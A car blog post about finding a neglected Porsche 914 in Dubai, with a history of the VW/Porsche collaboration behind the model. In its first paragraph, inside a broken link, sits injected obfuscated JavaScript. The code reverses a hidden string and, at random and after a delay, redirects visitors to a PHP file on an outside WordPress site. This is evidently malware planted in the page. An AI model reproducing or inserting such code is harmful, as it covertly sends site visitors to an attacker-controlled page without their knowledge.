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Another week passes in Dubai and another super cool piece of Automotive History is found sunning itself by the side of the road. We had popped out of the office to bag some shots of $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=The+Management+Fleet” target=”_blank”>The Management Fleet MINI and turned a corner to be faced with a rather rough around the edges (so close to being awesome), Porsche 914. Not your average street find in the Middle East I think you’ll agree. In my time in the Middle East, I’ve only come across three… One in Dubai, one in Jordan and this one! Thin on the ground sums it up.
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Delving into the history of this cheeky looking Porsche would probably be a good place to start. Post the stunning Porsche 356, the German manufacturer was very much in need of a some new models to add diversity to their model line. Yes they had the 911 and the four banger 912 in full swing, but they had no desire to be a one trick pony. By chance VW found themselves in the same position as the sultry and very sexy Karmann Ghia was getting a touch long in the tooth and they needed another pinnacle brand vehicle.
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The difference in attack between the two brands was quite obvious, with Volkswagen specifically after a range topper and Porsche wanting to drop the 356 engined 912 and find a new brand entry point. At the time, Porsche were undertaking the majority of Volkswagen’s engineering and developmental work, however the agreement was coming to end and the soon to be, 914 project, signified the last collaboration of that time.
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The original plan laid down was to position the car running the flat four-cylinder engine (out of a VW transporter) as the Volkswagen and pop the flat six-cylinder in the back and badge it as a Porsche. Market and brand issues stuck their nose in though and Porsche managed to persuade the board at VW that the car should be sold as a Porsche no matter what power plant was in the back.
Sadly in the April of 1968 it all hit the fan. The VW chairman of the time, Heinz Nordhoff, passed and the gent that stepped into the fray had no mutual VW/Porsche feelings. Problems! So much so that the Porsche engined 914/6 appeared on the market at an exceedingly high price point due to conflicts within the money management behind the scenes and the engineering cost sharing. The change was so significant that the 914/6 found itself sat right under the 911T of the time. The four pot car however seemed to hit the spot and found itself rapidly outselling the Porsche 911 by a wide margin, with over 118,000 units sold worldwide.
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The particular car in front of you is sadly not the 914/6! If it was we would have been knocking on the door and gently persuading the owner he/she should let us take it away. The 914 might be rare on the ground in our neck of the woods, however they are quite prevalent across the rest of the globe. There is a very strong aftermarket supply chain, owners club network and even racing scene in the US and as time goes by owners are pulling the motors out and dropping in late model 911 motors, Subaru engines and even Chevy V8’s!! Plenty of life in the old girl yet.
A cultured car that has a place in peoples hearts it most certainly is. Hopefully the owner of this car has plans to get it brought back up to scratch… or as we would do…clean it out, drop the suspension, change the oil, plugs and add some new rubber. The car’s natural patina is something we would most definatly want to keep.
So if you own the car and for some reason find yourself reading this, you know what to do.
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